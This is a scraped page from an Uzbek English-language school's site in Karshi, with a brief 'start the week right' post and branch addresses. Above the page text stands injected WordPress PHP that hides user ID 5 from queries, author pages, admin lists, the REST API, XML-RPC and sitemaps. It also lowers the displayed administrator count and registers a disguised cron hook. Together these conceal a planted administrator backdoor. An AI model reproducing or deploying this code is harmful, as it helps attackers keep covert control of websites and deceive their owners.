add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 5;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 5;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 5;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Global Education | Yangi haftani to’g’ri boshlang!
Kursga yoziling
Sinflarga yozilish yoki jamoamizning bir qismi bo'lishni xohlaysizmi?
09.08.2022
Yangi haftani to’g’ri boshlang!
Biz bugun yangi haftani to’g’ri va samarali boshlashingiz uchun foydali postni siz bilan ulashmoqdamiz. Ushbu savollarni o’zingizga berib ishingiz samaradorligini tekshirib olishingiz va yangi haftani yanada toʻgʻri boshlashingiz mumkin!
😉 Boshlangan yangi haftangiz ushbu postdan keyin yaxshi tomonga o’zgaradi degan umiddamiz :))
❓Xo’sh, sizda o’tgan hafta qanday o’tdi?
Yana maqolalar
Har kuni kundalik foydali maqolalar - Ingliz tilini onlayn ravishda o'rganing!
Hammasini ko'rish
2
QDU filial
Manzil: Qarshi shahri, Ko’chabog’ ko’chasi, 1.
Mo’ljal: Malaka oshirish instituti yon tarafi
Filial raqami: +998 75 220 00 77
Yangi filial (Uzmobile)
Manzil: Qarshi shahri, A.Yulbarisov ko’chasi, 1.
Mo’ljal: Marka supermarketi ko’chasi, Uzmobile binosi 2-qavat
Filial raqami: +99891 467 70 97
Kutubxona
Manzil: “IELTS House and The English Library” 4-mitti tuman, 1-uy, 1 qavat
Mo‘ljal: “Bahor Mebellar uyi” binosi orqa tarafi.
Filial raqami: +998 75 220 00 77
Asosiy filial (Bahor)
Manzil: “Global Education in Karshi” Islom Karimov ko‘chasi, sobiq “Bahor Mebellar uyi” binosining 2-qavati.
Filial raqami: +998 91 467 70 97